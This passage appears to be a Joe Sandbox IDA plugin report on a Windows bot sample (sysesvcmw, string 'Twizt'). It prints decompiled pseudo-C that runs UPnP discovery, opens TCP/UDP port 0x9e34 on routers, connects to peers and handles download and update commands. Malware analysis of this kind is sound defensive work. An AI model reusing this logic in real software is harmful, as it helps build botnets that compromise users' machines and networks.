														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}

APIs

Part of subcall function 004058C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004058E0

SysFreeString.OLEAUT32(00000000), ref: 00405B28

Strings

Microsoft Corporation, xrefs: 00405A96

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction ID: b966d8a815279bea9682a753b9e4a3ce538f0dcc0c86578e863b9189ac0295eb
Opcode Fuzzy Hash: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction Fuzzy Hash: 1691BA75A0050ADFCB04DB98C994EAFB7B5EF88304F208269E515B73A0D778AE41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040D020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D020() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				intOrPtr _t26;
				intOrPtr _t31;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2); // executed
				_v12 = 0;
				_t20 = E0040C580( &_v12,  &_v12); // executed
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CC30( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x416e24 = _t20;
						if( *0x416e24 == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409540();
						_t31 =  *0x416e24; // 0x0
						E0040CFA0(_t31, _t31, "TCP", 0x9e34, _v20);
						_t26 =  *0x416e24; // 0x0
						_t20 = E0040CFA0(_t31, _t26, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408D90(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040D02A

Part of subcall function 0040C580: socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
Part of subcall function 0040C580: htons.WS2_32(0000076C), ref: 0040C5D0
Part of subcall function 0040C580: inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
Part of subcall function 0040C580: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD
Part of subcall function 0040C580: bind.WS2_32(000000FF,?,00000010), ref: 0040C633
Part of subcall function 0040C580: lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
Part of subcall function 0040C580: sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
Part of subcall function 0040C580: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

TCP, xrefs: 0040D09B
UDP, xrefs: 0040D0B8

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction ID: d6482cf8f8518ba90fc7d027882e0c52926dc77542800e56e9404f82e9eb0b53
Opcode Fuzzy Hash: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction Fuzzy Hash: E811E4B4D01208EBD700EFE4EC45BAE7775AB04308F10866EE505772C2E679AE45CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B700 Relevance: 4.6, APIs: 3, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040B700(LONG* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				signed int _v13;
				char _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				signed char _t43;
				signed char _t48;
				intOrPtr _t49;
				signed char _t53;
				intOrPtr _t72;
				void* _t80;
				void* _t81;
				void* _t84;

				if(InterlockedExchangeAdd(_a4, 0) == 0) {
					_v5 = 0;
					_t38 = E0040B610(_t37, _a4[1]); // executed
					_t81 = _t80 + 4;
					_v12 = _t38;
					if(_v12 == 0xffffffff) {
						L18:
						return _v5;
					}
					InterlockedIncrement(_a4);
					while(1) {
						_t72 =  *0x416e14; // 0x2640ab6
						_t43 = E0040A0B0(_v12, 0, _t72, 0, _a8, E0040B4E0, 0); // executed
						_t81 = _t81 + 0x1c;
						_t63 = _t43 & 0x000000ff;
						if((_t43 & 0x000000ff) == 0) {
							break;
						}
						_v13 = 1;
						while((_v13 & 0x000000ff) != 0) {
							_v13 = 0;
							_t48 = E0040B540(_v12,  &_v20, 4, 0x2710); // executed
							_t81 = _t81 + 0x10;
							if((_t48 & 0x000000ff) == 0 || _v20 == 0) {
								L15:
								continue;
							} else {
								_t49 = E00408B20(_v20);
								_t81 = _t81 + 4;
								_v24 = _t49;
								if(_v24 != 0) {
									_t53 = E0040B540(_v12, _v24, _v20, E0040B6A0(_v20)); // executed
									_t84 = _t81 + 0x14;
									if((_t53 & 0x000000ff) != 0) {
										E0040A210(_v12, _v24, _v20, _a4[1], E0040B4E0, 0, 0); // executed
										_t84 = _t84 + 0x1c;
										_v13 = 1;
									}
									E00408C70(_v24);
									_t81 = _t84 + 4;
									goto L15;
								}
								break;
							}
						}
						_v5 = 1;
						if(0 != 0) {
							continue;
						}
						L17:
						InterlockedDecrement(_a4);
						E00409600(_v12); // executed
						goto L18;
					}
					E004094E0(_t63, _a4[1]);
					_t81 = _t81 + 4;
					goto L17;
				}
				return 0;
			}

0x0040b714
0x0040b71d
0x0040b728
0x0040b72d
0x0040b730
0x0040b737
0x0040b856
0x00000000
0x0040b856
0x0040b741
0x0040b747
0x0040b754
0x0040b761
0x0040b766
0x0040b769
0x0040b76e
0x00000000
0x00000000
0x0040b784
0x0040b788
0x0040b794
0x0040b7a7
0x0040b7ac
0x0040b7b4
0x0040b82f
0x00000000
0x0040b7bc
0x0040b7c0
0x0040b7c5
0x0040b7c8
0x0040b7cf
0x0040b7ec
0x0040b7f1
0x0040b7f9
0x0040b817
0x0040b81c
0x0040b81f
0x0040b81f
0x0040b827
0x0040b82c
0x00000000
0x0040b82c
0x00000000
0x0040b7d1
0x0040b7b4
0x0040b834
0x0040b83a
0x00000000
0x00000000
0x0040b840
0x0040b844
0x0040b84e
0x00000000
0x0040b853
0x0040b777
0x0040b77c
0x00000000
0x0040b77c
0x00000000

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040B70C
InterlockedIncrement.KERNEL32(000000FF), ref: 0040B741
InterlockedDecrement.KERNEL32(000000FF), ref: 0040B844

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementExchangeIncrement
String ID:
API String ID: 2813130747-0
Opcode ID: 41846e6cfc7f0546849fed8b06db4ef19aa9dc748b52b1219feac9cfc211ae52
Instruction ID: db0459fb64bb370bce4e0a30eccd781bcd80949e3aac1fb63126087b8d08ccea
Opcode Fuzzy Hash: 41846e6cfc7f0546849fed8b06db4ef19aa9dc748b52b1219feac9cfc211ae52
Instruction Fuzzy Hash: 904171B5E00208ABDB04EBA4D845BAF7778AB44308F14856DF5056B3C2E7799A41C7EE

Uniqueness

Uniqueness Score: -1.00%

Function 004047C0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004047C0(intOrPtr _a12, void* _a16) {
				char _v5;
				void* _v12;
				signed int _v16;
				void* _t32;
				signed int _t36;
				void* _t38;
				void* _t41;
				intOrPtr _t42;
				signed int _t44;
				signed int _t49;
				void* _t54;
				intOrPtr _t55;
				void* _t64;
				void* _t65;

				_v5 = 0;
				EnterCriticalSection("(Z(");
				_t32 = E0040B210(_t41, _a12); // executed
				_t65 = _t64 + 4;
				_v12 = _t32;
				if(_v12 != 0) {
					if( *0x4163b4 != 0) {
						_v16 = 0;
						while(1) {
							__eflags = _v16 -  *0x4163b4; // 0x1
							if(__eflags >= 0) {
								goto L15;
							}
							_t36 = _v16 * 0x110;
							_t42 =  *0x4163b0; // 0x1eb7da8
							_t54 = _v12;
							__eflags =  *((intOrPtr*)(_t42 + _t36 + 4)) -  *((intOrPtr*)(_t54 + 4));
							if( *((intOrPtr*)(_t42 + _t36 + 4)) ==  *((intOrPtr*)(_t54 + 4))) {
								_t44 = _v16 * 0x110;
								_t55 =  *0x4163b0; // 0x1eb7da8
								_t38 = _v12;
								__eflags =  *((intOrPtr*)(_t55 + _t44 + 8)) -  *((intOrPtr*)(_t38 + 8));
								if( *((intOrPtr*)(_t55 + _t44 + 8)) <  *((intOrPtr*)(_t38 + 8))) {
									_v5 = 1;
								}
								__eflags = _a16;
								if(_a16 != 0) {
									memcpy(_a16, _v12, 0x40 << 2);
									_t65 = _t65 + 0xc;
								}
							} else {
								_t49 = _v16 + 1;
								__eflags = _t49;
								_v16 = _t49;
								continue;
							}
							goto L15;
						}
					} else {
						_v5 = 1;
						if(_a16 != 0) {
							memcpy(_a16, _v12, 0x40 << 2);
							_t65 = _t65 + 0xc;
						}
					}
					L15:
					E00408C70(_v12);
				}
				LeaveCriticalSection("(Z(");
				return _v5;
			}

0x004047c8
0x004047d1
0x004047db
0x004047e0
0x004047e3
0x004047ea
0x004047f7
0x00404812
0x00404824
0x00404827
0x0040482d
0x00000000
0x00000000
0x00404832
0x00404838
0x0040483e
0x00404845
0x00404848
0x0040484f
0x00404855
0x0040485b
0x00404862
0x00404865
0x00404867
0x00404867
0x0040486b
0x0040486f
0x0040487c
0x0040487c
0x0040487c
0x0040484a
0x0040481e
0x0040481e
0x00404821
0x00000000
0x00404821
0x00000000
0x00404848
0x004047f9
0x004047f9
0x00404801
0x0040480e
0x0040480e
0x0040480e
0x00404810
0x00404882
0x00404886
0x0040488b
0x00404893
0x004048a1

APIs

EnterCriticalSection.KERNEL32((Z(,?,?,?,00000000,?), ref: 004047D1
LeaveCriticalSection.KERNEL32((Z(,?,?), ref: 00404893

Strings

(Z(, xrefs: 004047CC, 0040488E

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: (Z(
API String ID: 3168844106-3170816878
Opcode ID: 7af3e9a7212a4c5a9a835c0bb542c976ae0ef7b7df221f98a6c9fe21a2051011
Instruction ID: 5d85e41b99197fd03f9ec106f9c93e6151e95852763dc0d5daa1eef3e0cf8742
Opcode Fuzzy Hash: 7af3e9a7212a4c5a9a835c0bb542c976ae0ef7b7df221f98a6c9fe21a2051011
Instruction Fuzzy Hash: 03219179D0024CEBCB04DF94D5447EEBB74EB84314F15C4AADA0577391C378AA85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409EC0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409EC0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				char _v9;
				intOrPtr _v16;
				intOrPtr _t23;

				_t23 = E0040A8F0(__ecx); // executed
				 *((intOrPtr*)(_a8 + 4)) = _t23;
				_t4 = _a8 + 0x14; // 0x1023d00
				 *_a8 = E00408E40(_a8 + 4,  *_t4 + 0x14);
				_v9 = 0;
				_t9 = _a8 + 0x14; // 0x1023d00
				_v16 =  *_t9 + 0x18;
				_v8 = E0040AB80( *_t9 + 0x18, "Twizt", lstrlenA("Twizt"), _a8, _v16);
				if(_v8 != 0) {
					_v9 = _a12(_a4, _v8, _v16, _a16);
					E00408C70(_v8);
				}
				return _v9;
			}

0x00409ec6
0x00409ece
0x00409ed4
0x00409eed
0x00409eef
0x00409ef6
0x00409efc
0x00409f20
0x00409f27
0x00409f3c
0x00409f43
0x00409f48
0x00409f51

APIs

lstrlenA.KERNEL32(Twizt,0040BF79,0040BF79,?,?,0040BF79,00000000,0040BF79,0040BF79,00000000,00000000), ref: 00409F0C

Strings

Twizt, xrefs: 00409F13
Twizt, xrefs: 00409F07

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: Twizt$Twizt
API String ID: 1659193697-16428492
Opcode ID: 277335d7e8338359a91c565511ffc649c6ce38734f2e38486cdb580f35fc55b6
Instruction ID: 51841e325dfe15d34157b3dfc8deab755d799cdbd1fe14e6e1da9ccb35aaee06
Opcode Fuzzy Hash: 277335d7e8338359a91c565511ffc649c6ce38734f2e38486cdb580f35fc55b6
Instruction Fuzzy Hash: 1B114FB5900148BFCB04DF98D941E9EBBB5EF48304F10C0A9FD19AB342D635EA50CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 4.5, APIs: 3, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0040B623
htons.WS2_32(00009E34), ref: 0040B655
connect.WS2_32(000000FF,?,00000010), ref: 0040B66F

Part of subcall function 00409600: shutdown.WS2_32(004095ED,00000002), ref: 00409609
Part of subcall function 00409600: closesocket.WS2_32(004095ED), ref: 00409613

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: closesocketconnecthtonsshutdownsocket
String ID:
API String ID: 1987800339-0
Opcode ID: 1c976605b0aa8376304c87d57d4217be9ecc0ed4ff7a5fcb27ef9caeac3a3a37
Instruction ID: c802b0052d99b2efba98434c277248b112f68f869576d9f5ee3dd816caa1dbdc
Opcode Fuzzy Hash: 1c976605b0aa8376304c87d57d4217be9ecc0ed4ff7a5fcb27ef9caeac3a3a37
Instruction Fuzzy Hash: 31113C74904209EBCF14DFA4D9096AEB774EF04320F2087AAE825A73D0D7754F00979A

Uniqueness

Uniqueness Score: -1.00%

Function 00405C90 Relevance: 4.5, APIs: 3, Instructions: 35
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C90(void* __ecx, void* _a8, int _a12) {
				void* _v8;
				void* _t12;
				void* _t15;

				_t12 = E00408B20(_a12 + 1);
				_v8 = _t12;
				if(_v8 != 0) {
					memcpy(_v8, _a8, _a12);
					 *((char*)(_v8 + _a12)) = 0;
					_t15 = CreateThread(0, 0, E00405BF0, _v8, 0, 0); // executed
					return CloseHandle(_t15);
				}
				return _t12;
			}

0x00405c9b
0x00405ca3
0x00405caa
0x00405cb8
0x00405cc6
0x00405cda
0x00000000
0x00405ce1
0x00405cea

APIs

memcpy.NTDLL(00000000,?,?), ref: 00405CB8
CreateThread.KERNEL32(00000000,00000000,00405BF0,00000000,00000000,00000000), ref: 00405CDA
CloseHandle.KERNEL32(00000000), ref: 00405CE1

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThreadmemcpy
String ID:
API String ID: 2064604595-0
Opcode ID: 2df65ca6b39dd480908712e7ed97ae493583a6de5b0987b52861d1b6c46fc4c0
Instruction ID: 803d6fb9b7686d1f5cf7c0b2d1923dc136da0f816c959fa2d102c3f70f685485
Opcode Fuzzy Hash: 2df65ca6b39dd480908712e7ed97ae493583a6de5b0987b52861d1b6c46fc4c0
Instruction Fuzzy Hash: ADF090B1A40348FBDB00DFA4DC4AF9F7378EB48704F208469FA05A72C1D675AA10CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004089C0 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E004089C0(void* __ecx) {
				char _v8;
				signed char _t5;
				long _t7;
				signed char _t9;
				signed char _t10;

				if((E00408850() & 0x000000ff) == 0) {
					L2:
					_t5 = HeapCreate(0, 0, 0); // executed
					 *0x4163bc = _t5;
					if( *0x4163bc != 0) {
						_v8 = 2;
						_t9 =  *0x4163bc; // 0x1e90000
						__imp__HeapSetInformation(_t9, 0,  &_v8, 4); // executed
						_t7 = GetCurrentProcessId();
						 *0x416df0 = _t7;
						return _t7;
					}
				} else {
					_t10 =  *0x4163bc; // 0x1e90000
					_t5 = E00408930(_t10);
					if((_t5 & 0x000000ff) == 0) {
						goto L2;
					}
				}
				return _t5;
			}

0x004089ce
0x004089e6
0x004089ec
0x004089f2
0x004089fe
0x00408a00
0x00408a0f
0x00408a16
0x00408a1c
0x00408a22
0x00000000
0x00408a22
0x004089d0
0x004089d0
0x004089d7
0x004089e4
0x00000000
0x00000000
0x004089e4
0x00408a2a

APIs

Part of subcall function 00408850: GetCurrentProcessId.KERNEL32(?,00408A6B,?,0040B05E,00000010,?,?,?,?,?,?,0040B17B), ref: 00408853

HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,00408A77,?,0040B05E,00000010,?,?,?,?,?,?,0040B17B), ref: 004089EC
HeapSetInformation.KERNEL32(01E90000,00000000,00000002,00000004), ref: 00408A16
GetCurrentProcessId.KERNEL32 ref: 00408A1C

Part of subcall function 00408930: GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040894C

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Process$CurrentHeap$CreateHeapsInformation
String ID:
API String ID: 3179415709-0
Opcode ID: a639693618199c8379fb382b7bd5192c92996d99d994ee1682bc7f8514ed8ba2
Instruction ID: 696ab666e994ee3a55d98a1a93898fe7b584238ea120077bf43588b8b4778e15
Opcode Fuzzy Hash: a639693618199c8379fb382b7bd5192c92996d99d994ee1682bc7f8514ed8ba2
Instruction Fuzzy Hash: DFF05BB0644304ABD324EB61FD06BA636A9A704305F00C17EF955662D5DF79D504CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D180 Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D180(WCHAR* _a4) {
				long _v8;
				void* _v12;
				void* _t10;

				_v8 = 0;
				_t10 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0, 0); // executed
				_v12 = _t10;
				if(_v12 != 0xffffffff) {
					_v8 = GetFileSize(_v12, 0);
					CloseHandle(_v12); // executed
				}
				return _v8;
			}

0x0040d186
0x0040d1a0
0x0040d1a6
0x0040d1ad
0x0040d1bb
0x0040d1c2
0x0040d1c2
0x0040d1ce

APIs

CreateFileW.KERNEL32(004054D0,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040D1A0
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D1B5
CloseHandle.KERNEL32(000000FF), ref: 0040D1C2

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
Instruction ID: ed85e8d8bf0ab7ca2f4e313438fe02c3a8f0663c976e0804b297b520842be699
Opcode Fuzzy Hash: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
Instruction Fuzzy Hash: AFF01274A40308FBDB10DFA4DC49B8DBB74AB04701F208155FA047B2C0D6B55A418B54

Uniqueness

Uniqueness Score: -1.00%

Function 00405BF0 Relevance: 3.1, APIs: 2, Instructions: 54
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405BF0(char* _a4) {
				char* _v8;
				char* _v12;
				char* _v16;
				void* _t39;

				if( *_a4 != 0x64) {
					if( *_a4 == 0x75) {
						_v16 = _a4 + 2;
						E0040D4F0(_v16, 1);
						_t39 = _t39 + 8;
					}
					L9:
					return E00408C70(_a4);
				}
				_v8 = _a4 + 2;
				while(_v8 != 0) {
					_v12 = StrChrA(_v8, 0x7c);
					if(_v12 != 0) {
						 *_v12 = 0;
						_v12 =  &(_v12[1]);
					}
					E0040D4F0(_v8, 0); // executed
					_t39 = _t39 + 8;
					Sleep(0x3e8);
					_v8 = _v12;
				}
				goto L9;
			}

0x00405bff
0x00405c60
0x00405c68
0x00405c71
0x00405c76
0x00405c76
0x00405c79
0x00405c88
0x00405c88
0x00405c07
0x00405c0a
0x00405c1c
0x00405c23
0x00405c28
0x00405c31
0x00405c31
0x00405c3a
0x00405c3f
0x00405c47
0x00405c50
0x00405c50
0x00000000

APIs

StrChrA.SHLWAPI(00000000,0000007C), ref: 00405C16
Sleep.KERNEL32(000003E8), ref: 00405C47

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: fc40330d40aa53c54ba93d503f4ad6f3ae25efede43f4d84b526af358aeb2f10
Instruction ID: 2803cb3e73045f54bc14a94ee58f925885a1025b8c78951dc7d72fe698335800
Opcode Fuzzy Hash: fc40330d40aa53c54ba93d503f4ad6f3ae25efede43f4d84b526af358aeb2f10
Instruction Fuzzy Hash: 68115174E04308FBDB04DF94D885BAE7B74EF41309F1080AAE9056B391D679AB80DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00408A60 Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00408A60(void* __ecx, void* __edx, intOrPtr _a4, long _a8) {
				int _v8;
				intOrPtr _v12;
				void* _v16;
				void* _t23;
				void* _t30;
				void* _t33;

				_t30 = __ecx;
				if((E00408850() & 0x000000ff) == 0) {
					E004089C0(_t30); // executed
				}
				_v8 = 0;
				if(_a4 != 0) {
					_v12 = E00408810(_a4 + 2, 4);
					_t33 =  *0x4163bc; // 0x1e90000
					_t23 = RtlAllocateHeap(_t33, _a8, _v12 + 0xc); // executed
					_v16 = _t23;
					if(_v16 != 0) {
						_v8 = E00408A30(_v16, _v12);
						if((_a8 & 0x00000008) == 0) {
							memset(_v8 + _a4, 0, _v12 - _a4);
						}
					}
				}
				return _v8;
			}

0x00408a60
0x00408a70
0x00408a72
0x00408a72
0x00408a77
0x00408a82
0x00408a95
0x00408aa3
0x00408aaa
0x00408ab0
0x00408ab7
0x00408ac9
